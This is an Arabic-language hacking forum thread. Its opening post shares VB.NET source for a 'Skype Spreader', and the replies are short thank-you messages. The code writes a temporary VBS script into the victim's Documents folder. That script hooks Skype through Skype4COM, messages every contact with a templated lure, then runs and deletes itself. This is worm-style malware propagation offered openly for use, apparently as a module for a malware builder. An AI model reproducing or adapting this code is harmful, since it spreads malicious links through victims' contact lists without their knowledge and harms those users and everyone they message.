1. هجمه مرتده

    هجمه مرتده Developer

    الأنتساب:
    ‏12 يونيو 2012
    المشاركات:
    46
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6

    [​IMG]

    بسم الله الرحمن الرحيم

    السلام عليكم و رحمة الله
    وبركاته

    خلال تجوالي في احد المنتديات الاجنبية وجدت هذا الكود الخاص بالانتشار في السكايبي
    فأردت طرحه عسى ان يستفيدو منه الاخوة ويفيدونا معهم


    [​IMG]
    الكود

    كود PHP:
    Sub SkypeSpread()
    If 
    "%SKYPE%" "True" Then
    Try
    Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")
    g.BaseStream.Seek(0SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")
    g.WriteLine("next")
    g.Close()
    Dim p As New Process
    Dim ProcessProperties 
    As New ProcessStartInfo
    ProcessProperties
    .FileName Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"
    Dim myProcess As Process Process.Start(ProcessProperties)
    myProcess.WaitForExit()
    Threading.Thread.Sleep(5000)
    IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")
    Catch 
    ex As Exception
    MsgBox
    (ex.ToString)
    End Try
    End If
    End Sub
    [​IMG]
    تحميل الكود بصيغة TxT
    [DOWNLOAD]ط¹ط±ط¨ ط´ظٹط± - [vb-net]-skype-spreader-[src]-txt[/DOWNLOAD]
    [​IMG]


    [​IMG]
     
  2. Wo0oLf

    Wo0oLf DeveloPer Plus

    الأنتساب:
    ‏22 مارس 2012
    المشاركات:
    123
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الوظيفة:
    طالب جامعي Computer science
    الإقامة:
    مقيم في لبنان
    رد: كود الانتشار في السكايبيSkype Spreader

    يعطيك الف عافية على الطرح

    بارك الله فيك
     
  3. ~.O M A R.~

    ~.O M A R.~ Developer

    الأنتساب:
    ‏16 يوليو 2012
    المشاركات:
    62
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    الأردن
    رد: كود الانتشار في السكايبيSkype Spreader

    بارك الله فيك يا غالى

    مبدع يا غالى :{1}:
     
  4. سمو الملك

    سمو الملك Active DeveloPer

    الأنتساب:
    ‏1 ابريل 2014
    المشاركات:
    93
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    رد: كود الانتشار في السكايبيSkype Spreader

    مشكور أخي عل جهودك . #

    وشكرا على الطرح .
     
  5. ★ قبعة القش ★

    ★ قبعة القش ★ V • I • P

    الأنتساب:
    ‏10 مايو 2014
    المشاركات:
    447
    الإعجابات المتلقاة:
    16
    نقاط الجائزة:
    18
    رد: كود الانتشار في السكايبيSkype Spreader

    • تسلم إيدك يا غالي كود جميل و مصحح من بعض أخطاء
     
  6. backdoor200

    backdoor200 Developer

    الأنتساب:
    ‏21 مايو 2014
    المشاركات:
    12
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كود الانتشار في السكايبيSkype Spreader

    شكرا لك حبيبي
     
  7. KaDiM aL-iRaQi

    KaDiM aL-iRaQi ExpertDeveloper ExpErt DeveloPer

    الأنتساب:
    ‏2 سبتمبر 2014
    المشاركات:
    680
    الإعجابات المتلقاة:
    23
    نقاط الجائزة:
    18
    رد: كود الانتشار في السكايبيSkype Spreader

    بآرك آلله بيك
    )5:"​
     
  8. hashim_IRAQ

    hashim_IRAQ Developer

    الأنتساب:
    ‏2 سبتمبر 2014
    المشاركات:
    59
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: كود الانتشار في السكايبيSkype Spreader

    تسلم اخي الغالي
     
  9. عہلي الصہقہور هنہا

    عہلي الصہقہور هنہا <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏29 نوفمبر 2014
    المشاركات:
    283
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    18
    الإقامة:
    ألعراق ألعظيم
    رد: كود الانتشار في السكايبيSkype Spreader

    بارك الله بيك مبدع
     
  10. MR.HACKER.DZ

    MR.HACKER.DZ Developer

    الأنتساب:
    ‏23 سبتمبر 2014
    المشاركات:
    36
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: كود الانتشار في السكايبيSkype Spreader

    شكرا على الكود
     

مشاركة هذه الصفحة